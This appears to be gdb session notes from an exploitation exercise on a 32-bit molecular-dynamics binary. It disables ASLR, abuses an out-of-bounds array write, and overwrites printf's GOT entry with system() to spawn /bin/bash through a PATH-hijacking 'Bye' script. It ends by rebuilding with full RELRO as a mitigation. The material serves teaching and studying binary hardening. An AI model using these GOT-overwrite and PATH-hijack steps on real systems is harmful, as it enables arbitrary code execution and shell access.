echo 0 > /proc/sys/kernel/randomize_va_space

int i,j,k; for(i=0;i<tau_max;i++) vacf[j-i]=0;

Breakpoint 1, Calc_vacf () at ./MD.o.c:671
671         vacf[j-i]=0;
(gdb) p j
$1 = 1671723848

(gdb) printf "0x%x\n",(j-i)+&vacf
0xd49039e0

Breakpoint 1, Calc_vacf () at ./MD.o.c:671
671         vacf[j-i]=0;
(gdb) p j
$1 = 144

gdb ./MD.e32
(gdb) mai i sections .got.plt
0x804b5d0->0x804b620 at 0x000025d0:.got.plt ALLOC LOAD DATA HAS_CONTENTS

(gdb) x/6x 0x804b5d0
0x804b5d0 <_GLOBAL_OFFSET_TABLE_>:
0x804b5e0 <printf@got.plt>:
0x804b5f0 <fwrite@got.plt>:

(gdb) b MD.c:212
(gdb) p system
$11 = {<text variable, no debug info>}0xf7e5cc30 <system>
(gdb) set *0x804b5e0 = system

(gdb) p &environ
$4 = (<data variable, no debug info> *) 0xf7f83d64
(gdb) x/100s *environ
0xffffc815:      "SHELL=/bin/bash"

(gdb) x/s 0xffffc815+6
0xffffc81b:      "/bin/bash"
(gdb) i r esp
esp  0xffffc200  0xffffc200
(gdb) set *0xffffc200 = 0xffffc81b

cat Bye
#!/bin/bash
/bin/bash

chmod +x Bye
export PATH=.:$PATH

gcc -m32 -lm -Wl,-z,relro,-z,now MD.c -o MD.e32.fullrelro

readelf -S ./MD.e32.fullrelro | grep .got.plt